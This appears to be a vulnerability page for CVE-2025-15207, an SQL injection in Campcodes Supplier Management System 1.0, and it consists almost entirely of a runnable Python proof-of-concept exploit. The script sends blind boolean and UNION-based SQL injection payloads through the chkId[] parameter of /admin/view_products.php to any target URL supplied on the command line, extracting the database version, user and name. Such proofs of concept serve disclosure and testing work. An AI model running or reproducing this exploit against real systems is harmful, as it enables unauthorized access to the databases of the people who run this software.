CVE-2025-15207 Campcodes供应商管理系统chkId参数SQL注入漏洞

import requests import sys # CVE-2025-15207 SQL Injection PoC # Target: Campcodes Supplier Management System 1.0 # File: /admin/view_products.php # Parameter: chkId[] def exploit_sqli(url, payload): """ Exploit SQL injection in chkId[] parameter """ target_url = f"{url}/admin/view_products.php" # Basic test payload to confirm vulnerability test_payload = "1' AND 1=1---" # Data extraction payload example data = { 'chkId[]': payload } try: response = requests.post(target_url, data=data, timeout=10) return response.text except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None def extract_database_info(url): """ Extract database information using UNION-based injection """ # Payload to extract database version, user, and database name union_payload = "1' UNION SELECT NULL,NULL,version(),user(),database(),NULL,NULL,NULL,NULL,NULL,NULL---" print("[*] Extracting database information...") result = exploit_sqli(url, union_payload) if result: print("[+] Database info extracted") return result return None def blind_sqli_test(url): """ Boolean-based blind SQL injection test """ true_payload = "1' AND 1=1---" false_payload = "1' AND 1=2---" print("[*] Testing blind SQL injection...") true_resp = exploit_sqli(url, true_payload) false_resp = exploit_sqli(url, false_payload) if true_resp and false_resp and true_resp != false_resp: print("[+] Blind SQL injection confirmed!") return True return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://target.com") sys.exit(1) target = sys.argv[1].rstrip('/') print(f"[*] Target: {target}") print(f"[*] CVE-2025-15207 SQL Injection Test") # Test vulnerability blind_sqli_test(target) # Extract database info extract_database_info(target)